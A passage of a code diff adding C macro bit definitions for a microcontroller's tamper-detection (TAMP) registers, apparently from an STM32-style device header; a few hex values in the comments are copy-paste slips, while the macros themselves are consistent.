TAMP_CR1_TAMP8E_Pos (7U) +#define TAMP_CR1_TAMP8E_Msk (0x1UL << TAMP_CR1_TAMP8E_Pos) /*!< 0x00000080 */ +#define TAMP_CR1_TAMP8E TAMP_CR1_TAMP8E_Msk +#define TAMP_CR1_ITAMP1E_Pos (16U) +#define TAMP_CR1_ITAMP1E_Msk (0x1UL << TAMP_CR1_ITAMP1E_Pos) /*!< 0x00010000 */ +#define TAMP_CR1_ITAMP1E TAMP_CR1_ITAMP1E_Msk +#define TAMP_CR1_ITAMP2E_Pos (17U) +#define TAMP_CR1_ITAMP2E_Msk (0x1UL << TAMP_CR1_ITAMP2E_Pos) /*!< 0x00020000 */ +#define TAMP_CR1_ITAMP2E TAMP_CR1_ITAMP2E_Msk +#define TAMP_CR1_ITAMP3E_Pos (18U) +#define TAMP_CR1_ITAMP3E_Msk (0x1UL << TAMP_CR1_ITAMP3E_Pos) /*!< 0x00040000 */ +#define TAMP_CR1_ITAMP3E TAMP_CR1_ITAMP3E_Msk +#define TAMP_CR1_ITAMP4E_Pos (19U) +#define TAMP_CR1_ITAMP4E_Msk (0x1UL << TAMP_CR1_ITAMP4E_Pos) /*!< 0x00080000 */ +#define TAMP_CR1_ITAMP4E TAMP_CR1_ITAMP4E_Msk +#define TAMP_CR1_ITAMP5E_Pos (20U) +#define TAMP_CR1_ITAMP5E_Msk (0x1UL << TAMP_CR1_ITAMP5E_Pos) /*!< 0x00100000 */ +#define TAMP_CR1_ITAMP5E TAMP_CR1_ITAMP5E_Msk +#define TAMP_CR1_ITAMP6E_Pos (21U) +#define TAMP_CR1_ITAMP6E_Msk (0x1UL << TAMP_CR1_ITAMP6E_Pos) /*!< 0x00200000 */ +#define TAMP_CR1_ITAMP6E TAMP_CR1_ITAMP6E_Msk +#define TAMP_CR1_ITAMP7E_Pos (22U) +#define TAMP_CR1_ITAMP7E_Msk (0x1UL << TAMP_CR1_ITAMP7E_Pos) /*!< 0x00400000 */ +#define TAMP_CR1_ITAMP7E TAMP_CR1_ITAMP7E_Msk +#define TAMP_CR1_ITAMP8E_Pos (23U) +#define TAMP_CR1_ITAMP8E_Msk (0x1UL << TAMP_CR1_ITAMP8E_Pos) /*!< 0x00800000 */ +#define TAMP_CR1_ITAMP8E TAMP_CR1_ITAMP8E_Msk +#define TAMP_CR1_ITAMP9E_Pos (24U) +#define TAMP_CR1_ITAMP9E_Msk (0x1UL << TAMP_CR1_ITAMP9E_Pos) /*!< 0x01000000 */ +#define TAMP_CR1_ITAMP9E TAMP_CR1_ITAMP9E_Msk +#define TAMP_CR1_ITAMP11E_Pos (26U) +#define TAMP_CR1_ITAMP11E_Msk (0x1UL << TAMP_CR1_ITAMP11E_Pos) /*!< 0x04000000 */ +#define TAMP_CR1_ITAMP11E TAMP_CR1_ITAMP11E_Msk +#define TAMP_CR1_ITAMP12E_Pos (27U) +#define TAMP_CR1_ITAMP12E_Msk (0x1UL << TAMP_CR1_ITAMP12E_Pos) /*!< 0x08000000 */ +#define TAMP_CR1_ITAMP12E TAMP_CR1_ITAMP12E_Msk +#define TAMP_CR1_ITAMP13E_Pos (28U) +#define TAMP_CR1_ITAMP13E_Msk (0x1UL << TAMP_CR1_ITAMP13E_Pos) /*!< 0x10000000 */ +#define TAMP_CR1_ITAMP13E TAMP_CR1_ITAMP13E_Msk +#define TAMP_CR1_ITAMP15E_Pos (30U) +#define TAMP_CR1_ITAMP15E_Msk (0x1UL << TAMP_CR1_ITAMP15E_Pos) /*!< 0x40000000 */ +#define TAMP_CR1_ITAMP15E TAMP_CR1_ITAMP15E_Msk + +/******************** Bits definition for TAMP_CR2 register *****************/ +#define TAMP_CR2_TAMP1NOERASE_Pos (0U) +#define TAMP_CR2_TAMP1NOERASE_Msk (0x1UL << TAMP_CR2_TAMP1NOERASE_Pos) /*!< 0x00000001 */ +#define TAMP_CR2_TAMP1NOERASE TAMP_CR2_TAMP1NOERASE_Msk +#define TAMP_CR2_TAMP2NOERASE_Pos (1U) +#define TAMP_CR2_TAMP2NOERASE_Msk (0x1UL << TAMP_CR2_TAMP2NOERASE_Pos) /*!< 0x00000002 */ +#define TAMP_CR2_TAMP2NOERASE TAMP_CR2_TAMP2NOERASE_Msk +#define TAMP_CR2_TAMP3NOERASE_Pos (2U) +#define TAMP_CR2_TAMP3NOERASE_Msk (0x1UL << TAMP_CR2_TAMP3NOERASE_Pos) /*!< 0x00000004 */ +#define TAMP_CR2_TAMP3NOERASE TAMP_CR2_TAMP3NOERASE_Msk +#define TAMP_CR2_TAMP4NOERASE_Pos (3U) +#define TAMP_CR2_TAMP4NOERASE_Msk (0x1UL << TAMP_CR2_TAMP4NOERASE_Pos) /*!< 0x00000008 */ +#define TAMP_CR2_TAMP4NOERASE TAMP_CR2_TAMP4NOERASE_Msk +#define TAMP_CR2_TAMP5NOERASE_Pos (4U) +#define TAMP_CR2_TAMP5NOERASE_Msk (0x1UL << TAMP_CR2_TAMP5NOERASE_Pos) /*!< 0x00000010 */ +#define TAMP_CR2_TAMP5NOERASE TAMP_CR2_TAMP5NOERASE_Msk +#define TAMP_CR2_TAMP6NOERASE_Pos (5U) +#define TAMP_CR2_TAMP6NOERASE_Msk (0x1UL << TAMP_CR2_TAMP6NOERASE_Pos) /*!< 0x00000020 */ +#define TAMP_CR2_TAMP6NOERASE TAMP_CR2_TAMP6NOERASE_Msk +#define TAMP_CR2_TAMP7NOERASE_Pos (6U) +#define TAMP_CR2_TAMP7NOERASE_Msk (0x1UL << TAMP_CR2_TAMP7NOERASE_Pos) /*!< 0x00000040 */ +#define TAMP_CR2_TAMP7NOERASE TAMP_CR2_TAMP7NOERASE_Msk +#define TAMP_CR2_TAMP8NOERASE_Pos (7U) +#define TAMP_CR2_TAMP8NOERASE_Msk (0x1UL << TAMP_CR2_TAMP8NOERASE_Pos) /*!< 0x00000080 */ +#define TAMP_CR2_TAMP8NOERASE TAMP_CR2_TAMP8NOERASE_Msk +#define TAMP_CR2_TAMP1MSK_Pos (16U) +#define TAMP_CR2_TAMP1MSK_Msk (0x1UL << TAMP_CR2_TAMP1MSK_Pos) /*!< 0x00010000 */ +#define TAMP_CR2_TAMP1MSK TAMP_CR2_TAMP1MSK_Msk +#define TAMP_CR2_TAMP2MSK_Pos (17U) +#define TAMP_CR2_TAMP2MSK_Msk (0x1UL << TAMP_CR2_TAMP2MSK_Pos) /*!< 0x00020000 */ +#define TAMP_CR2_TAMP2MSK TAMP_CR2_TAMP2MSK_Msk +#define TAMP_CR2_TAMP3MSK_Pos (18U) +#define TAMP_CR2_TAMP3MSK_Msk (0x1UL << TAMP_CR2_TAMP3MSK_Pos) /*!< 0x00040000 */ +#define TAMP_CR2_TAMP3MSK TAMP_CR2_TAMP3MSK_Msk +#define TAMP_CR2_BKBLOCK_Pos (22U) +#define TAMP_CR2_BKBLOCK_Msk (0x1UL << TAMP_CR2_BKBLOCK_Pos) /*!< 0x00400000 */ +#define TAMP_CR2_BKBLOCK TAMP_CR2_BKBLOCK_Msk +#define TAMP_CR2_BKERASE_Pos (23U) +#define TAMP_CR2_BKERASE_Msk (0x1UL << TAMP_CR2_BKERASE_Pos) /*!< 0x00800000 */ +#define TAMP_CR2_BKERASE TAMP_CR2_BKERASE_Msk +#define TAMP_CR2_TAMP1TRG_Pos (24U) +#define TAMP_CR2_TAMP1TRG_Msk (0x1UL << TAMP_CR2_TAMP1TRG_Pos) /*!< 0x01000000 */ +#define TAMP_CR2_TAMP1TRG TAMP_CR2_TAMP1TRG_Msk +#define TAMP_CR2_TAMP2TRG_Pos (25U) +#define TAMP_CR2_TAMP2TRG_Msk (0x1UL << TAMP_CR2_TAMP2TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP2TRG TAMP_CR2_TAMP2TRG_Msk +#define TAMP_CR2_TAMP3TRG_Pos (26U) +#define TAMP_CR2_TAMP3TRG_Msk (0x1UL << TAMP_CR2_TAMP3TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP3TRG TAMP_CR2_TAMP3TRG_Msk +#define TAMP_CR2_TAMP4TRG_Pos (27U) +#define TAMP_CR2_TAMP4TRG_Msk (0x1UL << TAMP_CR2_TAMP4TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP4TRG TAMP_CR2_TAMP4TRG_Msk +#define TAMP_CR2_TAMP5TRG_Pos (28U) +#define TAMP_CR2_TAMP5TRG_Msk (0x1UL << TAMP_CR2_TAMP5TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP5TRG TAMP_CR2_TAMP5TRG_Msk +#define TAMP_CR2_TAMP6TRG_Pos (29U) +#define TAMP_CR2_TAMP6TRG_Msk (0x1UL << TAMP_CR2_TAMP6TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP6TRG TAMP_CR2_TAMP6TRG_Msk +#define TAMP_CR2_TAMP7TRG_Pos (30U) +#define TAMP_CR2_TAMP7TRG_Msk (0x1UL << TAMP_CR2_TAMP7TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP7TRG TAMP_CR2_TAMP7TRG_Msk +#define TAMP_CR2_TAMP8TRG_Pos (31U) +#define TAMP_CR2_TAMP8TRG_Msk (0x1UL << TAMP_CR2_TAMP8TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP8TRG TAMP_CR2_TAMP8TRG_Msk + +/******************** Bits definition for TAMP_CR3 register *****************/ +#define TAMP_CR3_ITAMP1NOER_Pos (0U) +#define TAMP_CR3_ITAMP1NOER_Msk (0x1UL << TAMP_CR3_ITAMP1NOER_Pos) /*!< 0x00000001 */ +#define TAMP_CR3_ITAMP1NOER TAMP_CR3_ITAMP1NOER_Msk +#define TAMP_CR3_ITAMP2NOER_Pos (1U) +#define TAMP_CR3_ITAMP2NOER_Msk (0x1UL << TAMP_CR3_ITAMP2NOER_Pos) /*!< 0x00000002 */ +#define TAMP_CR3_ITAMP2NOER TAMP_CR3_ITAMP2NOER_Msk +#define TAMP_CR3_ITAMP3NOER_Pos (2U) +#define TAMP_CR3_ITAMP3NOER_Msk (0x1UL << TAMP_CR3_ITAMP3NOER_Pos) /*!< 0x00000004 */ +#define TAMP_CR3_ITAMP3NOER TAMP_CR3_ITAMP3NOER_Msk +#define TAMP_CR3_ITAMP4NOER_Pos (3U) +#define TAMP_CR3_ITAMP4NOER_Msk (0x1UL << TAMP_CR3_ITAMP4NOER_Pos) /*!< 0x00000008 */ +#define TAMP_CR3_ITAMP4NOER TAMP_CR3_ITAMP4NOER_Msk +#define TAMP_CR3_ITAMP5NOER_Pos (4U) +#define TAMP_CR3_ITAMP5NOER_Msk (0x1UL << TAMP_CR3_ITAMP5NOER_Pos) /*!< 0x00000010 */ +#define TAMP_CR3_ITAMP5NOER TAMP_CR3_ITAMP5NOER_Msk +#define TAMP_CR3_ITAMP6NOER_Pos (5U) +#define TAMP_CR3_ITAMP6NOER_Msk (0x1UL << TAMP_CR3_ITAMP6NOER_Pos) /*!< 0x00000020 */ +#define TAMP_CR3_ITAMP6NOER TAMP_CR3_ITAMP6NOER_Msk +#define TAMP_CR3_ITAMP7NOER_Pos (6U) +#define TAMP_CR3_ITAMP7NOER_Msk (0x1UL << TAMP_CR3_ITAMP7NOER_Pos) /*!< 0x00000040 */ +#define TAMP_CR3_ITAMP7NOER TAMP_CR3_ITAMP7NOER_Msk +#define TAMP_CR3_ITAMP8NOER_Pos (7U) +#define TAMP_CR3_ITAMP8NOER_Msk (0x1UL << TAMP_CR3_ITAMP8NOER_Pos) /*!< 0x00000080 */ +#define TAMP_CR3_ITAMP8NOER TAMP_CR3_ITAMP8NOER_Msk +#define TAMP_CR3_ITAMP9NOER_Pos (8U) +#define TAMP_CR3_ITAMP9NOER_Msk (0x1UL << TAMP_CR3_ITAMP9NOER_Pos) /*!< 0x00000100 */ +#define TAMP_CR3_ITAMP9NOER TAMP_CR3_ITAMP9NOER_Msk +#define TAMP_CR3_ITAMP11NOER_Pos (10U) +#define TAMP_CR3_ITAMP11NOER_Msk (0x1UL << TAMP_CR3_ITAMP11NOER_Pos) /*!< 0x00000400 */ +#define TAMP_CR3_ITAMP11NOER TAMP_CR3_ITAMP11NOER_Msk +#define TAMP_CR3_ITAMP12NOER_Pos (11U) +#define TAMP_CR3_ITAMP12NOER_Msk (0x1UL << TAMP_CR3_ITAMP12NOER_Pos) /*!< 0x00000800 */ +#define TAMP_CR3_ITAMP12NOER TAMP_CR3_ITAMP12NOER_Msk +#define TAMP_CR3_ITAMP13NOER_Pos (12U) +#define TAMP_CR3_ITAMP13NOER_Msk (0x1UL << TAMP_CR3_ITAMP13NOER_Pos) /*!< 0x00001000 */ +#define TAMP_CR3_ITAMP13NOER TAMP_CR3_ITAMP13NOER_Msk +#define TAMP_CR3_ITAMP15NOER_Pos (14U) +#define TAMP_CR3_ITAMP15NOER_Msk (0x1UL << TAMP_CR3_ITAMP15NOER_Pos) /*!< 0x00004000 */ +#define TAMP_CR3_ITAMP15NOER TAMP_CR3_ITAMP15NOER_Msk + +/******************** Bits definition for TAMP_FLTCR register ***************/ +#define TAMP_FLTCR_TAMPFREQ_Pos (0U) +#define TAMP_FLTCR_TAMPFREQ_Msk (0x7UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000007 */ +#define TAMP_FLTCR_TAMPFREQ TAMP_FLTCR_TAMPFREQ_Msk +#define TAMP_FLTCR_TAMPFREQ_0 (0x1UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000001 */ +#define TAMP_FLTCR_TAMPFREQ_1 (0x2UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000002 */ +#define TAMP_FLTCR_TAMPFREQ_2 (0x4UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000004 */ +#define TAMP_FLTCR_TAMPFLT_Pos (3U) +#define TAMP_FLTCR_TAMPFLT_Msk (0x3UL << TAMP_FLTCR_TAMPFLT_Pos) /*!< 0x00000018 */ +#define TAMP_FLTCR_TAMPFLT TAMP_FLTCR_TAMPFLT_Msk +#define TAMP_FLTCR_TAMPFLT_0 (0x1UL << TAMP_FLTCR_TAMPFLT_Pos) /*!< 0x00000008 */ +#define TAMP_FLTCR_TAMPFLT_1 (0x2UL << TAMP_FLTCR_TAMPFLT_Pos) /*!< 0x00000010 */ +#define TAMP_FLTCR_TAMPPRCH_Pos (5U) +#define TAMP_FLTCR_TAMPPRCH_Msk (0x3UL << TAMP_FLTCR_TAMPPRCH_Pos) /*!< 0x00000060 */ +#define TAMP_FLTCR_TAMPPRCH TAMP_FLTCR_TAMPPRCH_Msk +#define TAMP_FLTCR_TAMPPRCH_0 (0x1UL << TAMP_FLTCR_TAMPPRCH_Pos) /*!< 0x00000020 */ +#define TAMP_FLTCR_TAMPPRCH_1 (0x2UL << TAMP_FLTCR_TAMPPRCH_Pos) /*!< 0x00000040 */ +#define TAMP_FLTCR_TAMPPUDIS_Pos (7U) +#define TAMP_FLTCR_TAMPPUDIS_Msk (0x1UL << TAMP_FLTCR_TAMPPUDIS_Pos) /*!< 0x00000080 */ +#define TAMP_FLTCR_TAMPPUDIS TAMP_FLTCR_TAMPPUDIS_Msk + +/******************** Bits definition for TAMP_ATCR1 register ***************/ +#define TAMP_ATCR1_TAMP1AM_Pos (0U) +#define TAMP_ATCR1_TAMP1AM_Msk (0x1UL << TAMP_ATCR1_TAMP1AM_Pos) /*!< 0x00000001 */ +#define TAMP_ATCR1_TAMP1AM TAMP_ATCR1_TAMP1AM_Msk +#define TAMP_ATCR1_TAMP2AM_Pos (1U) +#define TAMP_ATCR1_TAMP2AM_Msk (0x1UL << TAMP_ATCR1_TAMP2AM_Pos) /*!< 0x00000002 */ +#define TAMP_ATCR1_TAMP2AM TAMP_ATCR1_TAMP2AM_Msk +#define TAMP_ATCR1_TAMP3AM_Pos (2U) +#define TAMP_ATCR1_TAMP3AM_Msk (0x1UL << TAMP_ATCR1_TAMP3AM_Pos) /*!< 0x00000004 */ +#define TAMP_ATCR1_TAMP3AM TAMP_ATCR1_TAMP3AM_Msk +#define TAMP_ATCR1_TAMP4AM_Pos (3U) +#define TAMP_ATCR1_TAMP4AM_Msk (0x1UL << TAMP_ATCR1_TAMP4AM_Pos) /*!< 0x00000008 */ +#define TAMP_ATCR1_TAMP4AM TAMP_ATCR1_TAMP4AM_Msk +#define TAMP_ATCR1_TAMP5AM_Pos (4U) +#define TAMP_ATCR1_TAMP5AM_Msk (0x1UL << TAMP_ATCR1_TAMP5AM_Pos) /*!< 0x00000010 */ +#define TAMP_ATCR1_TAMP5AM TAMP_ATCR1_TAMP5AM_Msk +#define TAMP_ATCR1_TAMP6AM_Pos (5U) +#define TAMP_ATCR1_TAMP6AM_Msk (0x1UL << TAMP_ATCR1_TAMP6AM_Pos) /*!< 0x00000010 */ +#define TAMP_ATCR1_TAMP6AM TAMP_ATCR1_TAMP6AM_Msk +#define TAMP_ATCR1_TAMP7AM_Pos (6U) +#define TAMP_ATCR1_TAMP7AM_Msk (0x1UL << TAMP_ATCR1_TAMP7AM_Pos) /*!< 0x00000040 */ +#define TAMP_ATCR1_TAMP7AM TAMP_ATCR1_TAMP7AM_Msk +#define TAMP_ATCR1_TAMP8AM_Pos (7U) +#define TAMP_ATCR1_TAMP8AM_Msk (0x1UL << TAMP_ATCR1_TAMP8AM_Pos) /*!< 0x00000080 */ +#define TAMP_ATCR1_TAMP8AM TAMP_ATCR1_TAMP8AM_Msk +#define TAMP_ATCR1_ATOSEL1_Pos (8U) +#define TAMP_ATCR1_ATOSEL1_Msk (0x3UL << TAMP_ATCR1_ATOSEL1_Pos) /*!< 0x00000300 */ +#define TAMP_ATCR1_ATOSEL1 TAMP_ATCR1_ATOSEL1_Msk +#define TAMP_ATCR1_ATOSEL1_0 (0x1UL << TAMP_ATCR1_ATOSEL1_Pos) /*!< 0x00000100 */ +#define TAMP_ATCR1_ATOSEL1_1 (0x2UL << TAMP_ATCR1_ATOSEL1_Pos) /*!< 0x00000200 */ +#define TAMP_ATCR1_ATOSEL2_Pos (10U) +#define TAMP_ATCR1_ATOSEL2_Msk (0x3UL << TAMP_ATCR1_ATOSEL2_Pos) /*!< 0x00000C00 */ +#define TAMP_ATCR1_ATOSEL2 TAMP_ATCR1_ATOSEL2_Msk +#define TAMP_ATCR1_ATOSEL2_0 (0x1UL << TAMP_ATCR1_ATOSEL2_Pos) /*!< 0x00000400 */ +#define TAMP_ATCR1_ATOSEL2_1 (0x2UL << TAMP_ATCR1_ATOSEL2_Pos) /*!< 0x00000800 */ +#define TAMP_ATCR1_ATOSEL3_Pos (12U) +#define TAMP_ATCR1_ATOSEL3_Msk (0x3UL << TAMP_ATCR1_ATOSEL3_Pos) /*!< 0x00003000 */ +#define TAMP_ATCR1_ATOSEL3 TAMP_ATCR1_ATOSEL3_Msk +#define TAMP_ATCR1_ATOSEL3_0 (0x1UL << TAMP_ATCR1_ATOSEL3_Pos) /*!< 0x00001000 */ +#define TAMP_ATCR1_ATOSEL3_1 (0x2UL << TAMP_ATCR1_ATOSEL3_Pos) /*!< 0x00002000 */ +#define TAMP_ATCR1_ATOSEL4_Pos (14U) +#define TAMP_ATCR1_ATOSEL4_Msk (0x3UL << TAMP_ATCR1_ATOSEL4_Pos) /*!< 0x0000C000 */ +#define TAMP_ATCR1_ATOSEL4 TAMP_ATCR1_ATOSEL4_Msk +#define TAMP_ATCR1_ATOSEL4_0 (0x1UL << TAMP_ATCR1_ATOSEL4_Pos) /*!< 0x00004000 */ +#define TAMP_ATCR1_ATOSEL4_1 (0x2UL << TAMP_ATCR1_ATOSEL4_Pos) /*!< 0x00008000 */ +#define TAMP_ATCR1_ATCKSEL_Pos (16U) +#define TAMP_ATCR1_ATCKSEL_Msk (0xFUL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x000F0000 */ +#define TAMP_ATCR1_ATCKSEL TAMP_ATCR1_ATCKSEL_Msk +#define TAMP_ATCR1_ATCKSEL_0 (0x1UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00010000 */ +#define TAMP_ATCR1_ATCKSEL_1 (0x2UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00020000 */ +#define TAMP_ATCR1_ATCKSEL_2 (0x4UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00040000 */ +#define TAMP_ATCR1_ATCKSEL_3 (0x8UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00080000 */ +#define TAMP_ATCR1_ATPER_Pos (24U) +#define TAMP_ATCR1_ATPER_Msk (0x7UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x07000000 */ +#define TAMP_ATCR1_ATPER TAMP_ATCR1_ATPER_Msk +#define TAMP_ATCR1_ATPER_0 (0x1UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x01000000 */ +#define TAMP_ATCR1_ATPER_1 (0x2UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x02000000 */ +#define TAMP_ATCR1_ATPER_2 (0x4UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x04000000 */ +#define TAMP_ATCR1_ATOSHARE_Pos (30U) +#define TAMP_ATCR1_ATOSHARE_Msk (0x1UL << TAMP_ATCR1_ATOSHARE_Pos) /*!< 0x40000000 */ +#define TAMP_ATCR1_ATOSHARE TAMP_ATCR1_ATOSHARE_Msk +#define TAMP_ATCR1_FLTEN_Pos (31U) +#define TAMP_ATCR1_FLTEN_Msk (0x1UL << TAMP_ATCR1_FLTEN_Pos) /*!< 0x80000000 */ +#define TAMP_ATCR1_FLTEN TAMP_ATCR1_FLTEN_Msk + +/******************** Bits definition for TAMP_ATSEEDR register ******************/ +#define TAMP_ATSEEDR_SEED_Pos (0U) +#define TAMP_ATSEEDR_SEED_Msk (0xFFFFFFFFUL << TAMP_ATSEEDR_SEED_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_ATSEEDR_SEED TAMP_ATSEEDR_SEED_Msk + +/******************** Bits definition for TAMP_ATOR register ******************/ +#define TAMP_ATOR_PRNG_Pos (0U) +#define TAMP_ATOR_PRNG_Msk (0xFFUL << TAMP_ATOR_PRNG_Pos) /*!< 0x000000FF */ +#define TAMP_ATOR_PRNG TAMP_ATOR_PRNG_Msk +#define TAMP_ATOR_PRNG_0 (0x1UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000001 */ +#define TAMP_ATOR_PRNG_1 (0x2UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000002 */ +#define TAMP_ATOR_PRNG_2 (0x4UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000004 */ +#define TAMP_ATOR_PRNG_3 (0x8UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000008 */ +#define TAMP_ATOR_PRNG_4 (0x10UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000010 */ +#define TAMP_ATOR_PRNG_5 (0x20UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000020 */ +#define TAMP_ATOR_PRNG_6 (0x40UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000040 */ +#define TAMP_ATOR_PRNG_7 (0x80UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000080 */ +#define TAMP_ATOR_SEEDF_Pos (14U) +#define TAMP_ATOR_SEEDF_Msk (1UL << TAMP_ATOR_SEEDF_Pos) /*!< 0x00004000 */ +#define TAMP_ATOR_SEEDF TAMP_ATOR_SEEDF_Msk +#define TAMP_ATOR_INITS_Pos (15U) +#define TAMP_ATOR_INITS_Msk (1UL << TAMP_ATOR_INITS_Pos) /*!< 0x00008000 */ +#define TAMP_ATOR_INITS TAMP_ATOR_INITS_Msk + +/******************** Bits definition for TAMP_ATCR2 register ***************/ +#define TAMP_ATCR2_ATOSEL1_Pos (8U) +#define TAMP_ATCR2_ATOSEL1_Msk (0x7UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000700 */ +#define TAMP_ATCR2_ATOSEL1 TAMP_ATCR2_ATOSEL1_Msk +#define TAMP_ATCR2_ATOSEL1_0 (0x1UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000100 */ +#define TAMP_ATCR2_ATOSEL1_1 (0x2UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000200 */ +#define TAMP_ATCR2_ATOSEL1_2 (0x4UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000400 */ +#define TAMP_ATCR2_ATOSEL2_Pos (11U) +#define TAMP_ATCR2_ATOSEL2_Msk (0x7UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00003800 */ +#define TAMP_ATCR2_ATOSEL2 TAMP_ATCR2_ATOSEL2_Msk +#define TAMP_ATCR2_ATOSEL2_0 (0x1UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00000800 */ +#define TAMP_ATCR2_ATOSEL2_1 (0x2UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00001000 */ +#define TAMP_ATCR2_ATOSEL2_2 (0x4UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00002000 */ +#define TAMP_ATCR2_ATOSEL3_Pos (14U) +#define TAMP_ATCR2_ATOSEL3_Msk (0x7UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x0001C000 */ +#define TAMP_ATCR2_ATOSEL3 TAMP_ATCR2_ATOSEL3_Msk +#define TAMP_ATCR2_ATOSEL3_0 (0x1UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x00004000 */ +#define TAMP_ATCR2_ATOSEL3_1 (0x2UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x00008000 */ +#define TAMP_ATCR2_ATOSEL3_2 (0x4UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x00010000 */ +#define TAMP_ATCR2_ATOSEL4_Pos (17U) +#define TAMP_ATCR2_ATOSEL4_Msk (0x7UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x000E0000 */ +#define TAMP_ATCR2_ATOSEL4 TAMP_ATCR2_ATOSEL4_Msk +#define TAMP_ATCR2_ATOSEL4_0 (0x1UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x00020000 */ +#define TAMP_ATCR2_ATOSEL4_1 (0x2UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x00040000 */ +#define TAMP_ATCR2_ATOSEL4_2 (0x4UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x00080000 */ +#define TAMP_ATCR2_ATOSEL5_Pos (20U) +#define TAMP_ATCR2_ATOSEL5_Msk (0x7UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00700000 */ +#define TAMP_ATCR2_ATOSEL5 TAMP_ATCR2_ATOSEL5_Msk +#define TAMP_ATCR2_ATOSEL5_0 (0x1UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00100000 */ +#define TAMP_ATCR2_ATOSEL5_1 (0x2UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00200000 */ +#define TAMP_ATCR2_ATOSEL5_2 (0x4UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00400000 */ +#define TAMP_ATCR2_ATOSEL6_Pos (23U) +#define TAMP_ATCR2_ATOSEL6_Msk (0x7UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x03800000 */ +#define TAMP_ATCR2_ATOSEL6 TAMP_ATCR2_ATOSEL6_Msk +#define TAMP_ATCR2_ATOSEL6_0 (0x1UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x00800000 */ +#define TAMP_ATCR2_ATOSEL6_1 (0x2UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x01000000 */ +#define TAMP_ATCR2_ATOSEL6_2 (0x4UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x02000000 */ +#define TAMP_ATCR2_ATOSEL7_Pos (26U) +#define TAMP_ATCR2_ATOSEL7_Msk (0x7UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x1C000000 */ +#define TAMP_ATCR2_ATOSEL7 TAMP_ATCR2_ATOSEL7_Msk +#define TAMP_ATCR2_ATOSEL7_0 (0x1UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x04000000 */ +#define TAMP_ATCR2_ATOSEL7_1 (0x2UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x08000000 */ +#define TAMP_ATCR2_ATOSEL7_2 (0x4UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x10000000 */ +#define TAMP_ATCR2_ATOSEL8_Pos (29U) +#define TAMP_ATCR2_ATOSEL8_Msk (0x7UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0xE0000000 */ +#define TAMP_ATCR2_ATOSEL8 TAMP_ATCR2_ATOSEL8_Msk +#define TAMP_ATCR2_ATOSEL8_0 (0x1UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0x20000000 */ +#define TAMP_ATCR2_ATOSEL8_1 (0x2UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0x40000000 */ +#define TAMP_ATCR2_ATOSEL8_2 (0x4UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0x80000000 */ + +/******************** Bits definition for TAMP_SECCFGR register *************/ +#define TAMP_SECCFGR_BKPRWSEC_Pos (0U) +#define TAMP_SECCFGR_BKPRWSEC_Msk (0xFFUL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x000000FF */ +#define TAMP_SECCFGR_BKPRWSEC TAMP_SECCFGR_BKPRWSEC_Msk +#define TAMP_SECCFGR_BKPRWSEC_0 (0x1UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000001 */ +#define TAMP_SECCFGR_BKPRWSEC_1 (0x2UL << 